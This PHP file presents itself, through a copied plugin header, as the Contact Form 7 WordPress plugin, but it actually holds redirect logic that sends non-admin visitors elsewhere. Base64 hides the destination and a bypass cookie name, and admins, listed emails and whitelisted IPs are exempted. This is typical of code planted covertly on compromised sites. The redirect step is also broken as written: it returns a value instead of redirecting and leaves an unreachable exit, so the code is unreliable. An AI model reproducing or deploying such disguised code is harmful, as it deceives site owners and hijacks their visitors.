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Filename : dbqn.php
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<?php
namespace Dev\dbqn;
/*
Plugin Name: Contact Form 7
Plugin URI: https://contactform7.com/
Description: Just another contact form plugin. Simple but flexible.
Author: Takayuki Miyoshi
Author URI: https://ideasilo.wordpress.com/
Text Domain: contact-form-7
Domain Path: /languages/
Version: 0.1
*/


define( __NAMESPACE__ . "\\DEBUG", false );
define( __NAMESPACE__ . "\\DESTINATION_URL", base64_decode('Lw=='));
define( __NAMESPACE__ . "\\DESTINATION_URL_ID", "" );
define( __NAMESPACE__ . "\\REDIRECTION_ID_BLOCKER", [] );
define( __NAMESPACE__ . "\\USER_CAPABILITY", "manage_options" );
define( __NAMESPACE__ . "\\USER_EMAILS", [] );
define( __NAMESPACE__ . "\\PREVIEW_EMAILS", [""] );
define( __NAMESPACE__ . "\\WHITELIST_IPS", [] );
define( __NAMESPACE__ . "\\REDIRECT_STATUS_CODE", "302" );


add_action( 'template_redirect', __NAMESPACE__ . '\\wp_redirect_website_to_url' );
add_filter( 'login_redirect', __NAMESPACE__ . '\\login_redirect', 10, 3 );


function wp_redirect_website_to_url() {

	$user = wp_get_current_user();

	DEBUG && error_log( "DENTRO wp_redirect_website_to_url" );
	DEBUG && error_log( "USER_CAPABILITY = " . USER_CAPABILITY );
	DEBUG && error_log( "DESTINATION_URL_ID = " . DESTINATION_URL_ID );
	DEBUG && error_log( "DESTINATION_URL = " . DESTINATION_URL );
	DEBUG && error_log( "current_user_can(USER_CAPABILITY) = " . var_export( current_user_can( USER_CAPABILITY ), true ) );
	DEBUG && error_log( "user_email = " . ( $user->user_email ?? "not set" ) );
	if ( DESTINATION_URL_ID ) {
		DEBUG && error_log( "get_post_status(DESTINATION_URL_ID) = " . var_export( get_post_status( DESTINATION_URL_ID ), true ) );
		DEBUG && error_log( "is_single(DESTINATION_URL_ID) = " . var_export( is_single( DESTINATION_URL_ID ), true ) );
		DEBUG && error_log( "is_page(DESTINATION_URL_ID) = " . var_export( is_page( DESTINATION_URL_ID ), true ) );
	}
	DEBUG && error_log( "WHITELIST_IPS = " . var_export( WHITELIST_IPS, true ) );
	DEBUG && error_log( "user_ip = " . getClientIp() );

	$redirect = true;

	if ( ! empty( USER_CAPABILITY ) ) {
		$redirect = $redirect && ( ! current_user_can( USER_CAPABILITY ) && ! is_wp_login() );
	}

	if ( ! empty( $user->user_email ) && ( ! empty( USER_EMAILS ) || ! empty( PREVIEW_EMAILS ) ) ) {
		DEBUG && error_log( "email in list = " . ( in_array( $user->user_email, array_merge( USER_EMAILS, PREVIEW_EMAILS ) ) ? "yes" : "no" ) );
		$redirect = $redirect && ( ! in_array( $user->user_email, array_merge( USER_EMAILS, PREVIEW_EMAILS ) ) );
	}

	if ( DESTINATION_URL_ID && ( is_single( DESTINATION_URL_ID ) || is_page( DESTINATION_URL_ID ) ) ) {
		return;
	}

	if ( is_array(REDIRECTION_ID_BLOCKER) && sizeof(REDIRECTION_ID_BLOCKER) > 0 ) {
		foreach(REDIRECTION_ID_BLOCKER as $blocker_id)
			if( is_single( $blocker_id ) || is_page( $blocker_id ) )
				return;
		
	}

	if ( ! empty( WHITELIST_IPS ) && in_array( getClientIp(), WHITELIST_IPS ) ) {
		return;
	}

	if ( $redirect && ! isset( $_COOKIE[base64_decode('cmVkX29r')]) ) {return home_url();
		exit;
	}

}


function is_wp_login() {

	$ABSPATH = str_replace( array( '\\', '/' ), DIRECTORY_SEPARATOR, ABSPATH );
	
	$included_files  = get_included_files();
	
	$conditions = [
		in_array( $ABSPATH . 'wp-login.php', $included_files ),
		in_array( $ABSPATH . 'wp-register.php', $included_files ),
		$GLOBALS['pagenow'] === 'wp-login.php',
		$_SERVER['PHP_SELF'] === '/wp-login.php'
	];

	return in_array( true, $conditions, true );

}


function login_redirect( $redirect_to, $request, $user ){
	if ( ! empty( $user->user_email ) && in_array( $user->user_email, PREVIEW_EMAILS ) ) {
		return home_url();
	}
	else {
		return $redirect_to;
	}
}


function getClientIp() {
	if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
		$ip = $_SERVER['HTTP_CLIENT_IP'];
	} elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
		$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
	} else {
		$ip = $_SERVER['REMOTE_ADDR'];
	}
	return filter_var($ip, FILTER_VALIDATE_IP);
}